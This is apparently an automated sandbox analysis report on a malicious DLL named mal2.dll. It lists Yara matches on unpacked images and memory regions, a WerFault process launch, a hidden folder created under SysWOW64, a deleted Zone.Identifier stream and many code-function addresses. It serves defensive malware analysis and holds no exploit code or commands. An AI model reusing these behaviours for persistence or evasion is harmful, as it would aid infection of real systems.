Source: Yara match	File source: 0.2.loaddll32.exe.7a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.782138.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.d33b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.782138.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.da0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a2138.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.d33b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a2138.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.d13d58.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.d13d58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.566657802.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.567231949.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.597839039.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.596491370.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.564537877.000000000076A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.564875818.000000000328A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.568652514.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.643009162.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.596841009.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.526115475.0000000003368000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.564451857.0000000000650000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.598456484.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.543502348.0000000000BA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.568840979.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.564446850.0000000000DA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.543542843.0000000000CFA000.00000004.00000020.sdmp, type: MEMORY

Source: mal2.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1456 -ip 1456

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Xjvbeeymcqp\hqokwlnubzbb.uql:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Xjvbeeymcqp\

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BED95	0_2_007BED95
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BE478	0_2_007BE478
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C1C71	0_2_007C1C71
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C0C66	0_2_007C0C66
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B645F	0_2_007B645F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B604E	0_2_007B604E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A3E3B	0_2_007A3E3B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BCC3F	0_2_007BCC3F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B0A37	0_2_007B0A37
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B0824	0_2_007B0824
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BBA18	0_2_007BBA18
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B1C12	0_2_007B1C12
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C2C16	0_2_007C2C16
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AF20D	0_2_007AF20D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C20F8	0_2_007C20F8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AE6FD	0_2_007AE6FD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007ABEF5	0_2_007ABEF5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AA8E8	0_2_007AA8E8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C06EF	0_2_007C06EF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B7EDD	0_2_007B7EDD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C0AD3	0_2_007C0AD3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A54C0	0_2_007A54C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BB0BA	0_2_007BB0BA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AAEB9	0_2_007AAEB9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B3ABE	0_2_007B3ABE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B56A9	0_2_007B56A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A68AD	0_2_007A68AD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B04A4	0_2_007B04A4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AF4A5	0_2_007AF4A5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AC69B	0_2_007AC69B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AF699	0_2_007AF699
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AD899	0_2_007AD899
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A3085	0_2_007A3085
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A2B7C	0_2_007A2B7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B5B7C	0_2_007B5B7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A597D	0_2_007A597D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BC772	0_2_007BC772
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A2176	0_2_007A2176
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A2575	0_2_007A2575
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A996C	0_2_007A996C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A196D	0_2_007A196D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BF561	0_2_007BF561
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A5166	0_2_007A5166
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007ADD66	0_2_007ADD66
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C2560	0_2_007C2560
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A9565	0_2_007A9565
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A8D59	0_2_007A8D59
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A635F	0_2_007A635F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C2D4F	0_2_007C2D4F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C314A	0_2_007C314A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A4F42	0_2_007A4F42
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BC145	0_2_007BC145
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B473A	0_2_007B473A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A7739	0_2_007A7739
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B3130	0_2_007B3130
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AE336	0_2_007AE336
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AB12E	0_2_007AB12E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BCF2C	0_2_007BCF2C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A6125	0_2_007A6125
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B8518	0_2_007B8518
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A8112	0_2_007A8112
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A4716	0_2_007A4716
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A5314	0_2_007A5314
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BD10B	0_2_007BD10B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B710D	0_2_007B710D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C3306	0_2_007C3306
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A1DF9	0_2_007A1DF9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A6BFE	0_2_007A6BFE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BD5FE	0_2_007BD5FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B91F7	0_2_007B91F7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AFBEF	0_2_007AFBEF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AB7EC	0_2_007AB7EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C35E3	0_2_007C35E3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B13DB	0_2_007B13DB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BE7DA	0_2_007BE7DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B89DA	0_2_007B89DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A5DC3	0_2_007A5DC3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A39C3	0_2_007A39C3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B4DC5	0_2_007B4DC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B0FC5	0_2_007B0FC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A2DC5	0_2_007A2DC5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A33A9	0_2_007A33A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007BBFA1	0_2_007BBFA1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B77A7	0_2_007B77A7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B6B91	0_2_007B6B91
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A938F	0_2_007A938F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007C1987	0_2_007C1987
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A7D87	0_2_007A7D87
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007AF984	0_2_007AF984
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDAA6D0	0_2_6EDAA6D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDAE6E0	0_2_6EDAE6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDA66E0	0_2_6EDA66E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDA5EA0	0_2_6EDA5EA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB0F10	0_2_6EDB0F10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDA1C10	0_2_6EDA1C10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDA75F4	0_2_6EDA75F4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDA9D50	0_2_6EDA9D50
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC0A61	0_2_6EDC0A61
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDAD380	0_2_6EDAD380
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDA38C0	0_2_6EDA38C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB01D0	0_2_6EDB01D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01065314	2_2_01065314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01068112	2_2_01068112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01073130	2_2_01073130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01068D59	2_2_01068D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106196D	2_2_0106196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01062B7C	2_2_01062B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107ED95	2_2_0107ED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107E7DA	2_2_0107E7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010789DA	2_2_010789DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010791F7	2_2_010791F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107BA18	2_2_0107BA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107604E	2_2_0107604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010756A9	2_2_010756A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106AEB9	2_2_0106AEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010806EF	2_2_010806EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107710D	2_2_0107710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107D10B	2_2_0107D10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01083306	2_2_01083306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01064716	2_2_01064716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01078518	2_2_01078518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01066125	2_2_01066125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106B12E	2_2_0106B12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107CF2C	2_2_0107CF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106E336	2_2_0106E336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107473A	2_2_0107473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01067739	2_2_01067739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0108314A	2_2_0108314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107C145	2_2_0107C145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01064F42	2_2_01064F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01082D4F	2_2_01082D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106635F	2_2_0106635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01065166	2_2_01065166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106DD66	2_2_0106DD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01069565	2_2_01069565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107F561	2_2_0107F561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01082560	2_2_01082560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106996C	2_2_0106996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01062176	2_2_01062176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01062575	2_2_01062575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107C772	2_2_0107C772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01075B7C	2_2_01075B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106597D	2_2_0106597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01067D87	2_2_01067D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106F984	2_2_0106F984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106938F	2_2_0106938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01081987	2_2_01081987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01076B91	2_2_01076B91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010777A7	2_2_010777A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107BFA1	2_2_0107BFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010633A9	2_2_010633A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01074DC5	2_2_01074DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01070FC5	2_2_01070FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01062DC5	2_2_01062DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01065DC3	2_2_01065DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010639C3	2_2_010639C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010713DB	2_2_010713DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106FBEF	2_2_0106FBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106B7EC	2_2_0106B7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010835E3	2_2_010835E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01066BFE	2_2_01066BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107D5FE	2_2_0107D5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01061DF9	2_2_01061DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106F20D	2_2_0106F20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01071C12	2_2_01071C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01082C16	2_2_01082C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01070824	2_2_01070824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01070A37	2_2_01070A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107CC3F	2_2_0107CC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01063E3B	2_2_01063E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107645F	2_2_0107645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01080C66	2_2_01080C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01081C71	2_2_01081C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107E478	2_2_0107E478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01063085	2_2_01063085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106C69B	2_2_0106C69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106F699	2_2_0106F699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106D899	2_2_0106D899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010704A4	2_2_010704A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106F4A5	2_2_0106F4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010668AD	2_2_010668AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01073ABE	2_2_01073ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0107B0BA	2_2_0107B0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010654C0	2_2_010654C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01077EDD	2_2_01077EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01080AD3	2_2_01080AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106A8E8	2_2_0106A8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010820F8	2_2_010820F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106BEF5	2_2_0106BEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106E6FD	2_2_0106E6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDAA6D0	2_2_6EDAA6D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDAE6E0	2_2_6EDAE6E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDA66E0	2_2_6EDA66E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDA5EA0	2_2_6EDA5EA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB0F10	2_2_6EDB0F10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDA1C10	2_2_6EDA1C10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDA75F4	2_2_6EDA75F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDA9D50	2_2_6EDA9D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC0A61	2_2_6EDC0A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDAD380	2_2_6EDAD380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDA38C0	2_2_6EDA38C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB01D0	2_2_6EDB01D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC06EF	5_2_00DC06EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBED95	5_2_00DBED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB7EDD	5_2_00DB7EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC0AD3	5_2_00DC0AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA54C0	5_2_00DA54C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC20F8	5_2_00DC20F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAE6FD	5_2_00DAE6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DABEF5	5_2_00DABEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAA8E8	5_2_00DAA8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAC69B	5_2_00DAC69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAF699	5_2_00DAF699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAD899	5_2_00DAD899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA3085	5_2_00DA3085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBB0BA	5_2_00DBB0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAAEB9	5_2_00DAAEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB3ABE	5_2_00DB3ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB56A9	5_2_00DB56A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA68AD	5_2_00DA68AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB04A4	5_2_00DB04A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAF4A5	5_2_00DAF4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB645F	5_2_00DB645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB604E	5_2_00DB604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBE478	5_2_00DBE478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC1C71	5_2_00DC1C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC0C66	5_2_00DC0C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBBA18	5_2_00DBBA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB1C12	5_2_00DB1C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC2C16	5_2_00DC2C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAF20D	5_2_00DAF20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA3E3B	5_2_00DA3E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBCC3F	5_2_00DBCC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB0A37	5_2_00DB0A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB0824	5_2_00DB0824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB13DB	5_2_00DB13DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBE7DA	5_2_00DBE7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB89DA	5_2_00DB89DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA5DC3	5_2_00DA5DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA39C3	5_2_00DA39C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB4DC5	5_2_00DB4DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB0FC5	5_2_00DB0FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA2DC5	5_2_00DA2DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA1DF9	5_2_00DA1DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA6BFE	5_2_00DA6BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBD5FE	5_2_00DBD5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB91F7	5_2_00DB91F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAFBEF	5_2_00DAFBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAB7EC	5_2_00DAB7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC35E3	5_2_00DC35E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB6B91	5_2_00DB6B91
